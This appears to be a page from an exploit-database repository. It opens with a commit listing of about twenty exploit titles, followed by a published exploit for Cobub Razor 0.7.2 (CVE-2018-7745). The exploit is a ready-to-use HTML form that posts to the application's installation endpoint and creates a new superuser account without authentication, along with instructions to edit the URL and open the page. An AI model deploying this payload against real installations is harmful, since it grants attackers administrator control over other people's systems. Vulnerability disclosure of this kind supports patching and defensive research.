c91cad5a90
19 changes to exploits/shellcodes WebKit - WebAssembly Parsing Does not Correctly Check Section Order CyberArk Password Vault < 9.7 / < 10 - Memory Disclosure H2 Database - 'Alias' Arbitrary Code Execution GoldWave 5.70 - Local Buffer Overflow (SEH Unicode) PMS 0.42 - Local Stack-Based Overflow (ROP) Unitrends UEB 10.0 - Unauthenticated Root Remote Code Execution WolfCMS 0.8.3.1 - Cross Site Request Forgery Cobub Razor 0.7.2 - Add New Superuser Account MyBB Plugin Recent Threads On Index - Cross-Site Scripting WolfCMS 0.8.3.1 - Open Redirection Yahei PHP Prober 0.4.7 - Cross-Site Scripting WordPress Plugin Simple Fields 0.2 - 0.3.5 - Local/Remote File Inclusion / Remote Code Execution CyberArk Password Vault Web Access < 9.9.5 / < 9.10 / 10.1 - Remote Code Execution KYOCERA Multi-Set Template Editor 3.4 - Out-Of-Band XML External Entity Injection KYOCERA Net Admin 3.4 - Cross Site Request Forgery - Add Admin Exploit Buddypress Xprofile Custom Fields Type 2.6.3 - Remote Code Execution WooCommerce CSV-Importer-Plugin 3.3.6 - Remote Code Execution iScripts SonicBB 1.0 - Reflected Cross-Site Scripting WordPress Plugin Google Drive 2.2 - Remote Code Execution
25 lines
No EOL
986 B
Text
25 lines
No EOL
986 B
Text
# Exploit Title: [Cobub Razor 0.7.2 Add New Superuser User]
|
||
# Date: [2018-03-07]
|
||
# Exploit Author: [ppb（ppb@5ecurity.cn）]
|
||
# Vendor Homepage: [https://github.com/cobub/razor/]
|
||
# Software Link: [https://github.com/cobub/razor/]
|
||
# Version: [0.72]
|
||
# CVE : [CVE-2018-7745]
|
||
|
||
There is a vulnerability that can add an admnistrator user without login.
|
||
update the url and save to html ，then open it.
|
||
|
||
|
||
<html>
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="http://127.0.0.1/index.php?/install/installation/createuserinfo" method="POST">
|
||
<input type="hidden" name="siteurl" value="http://127.0.0.1/" />
|
||
<input type="hidden" name="superuser" value="test" />
|
||
<input type="hidden" name="pwd" value="test123" />
|
||
<input type="hidden" name="verifypassword" value="test123" />
|
||
<input type="hidden" name="email" value="12@qq.com" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
</body>
|
||
</html> |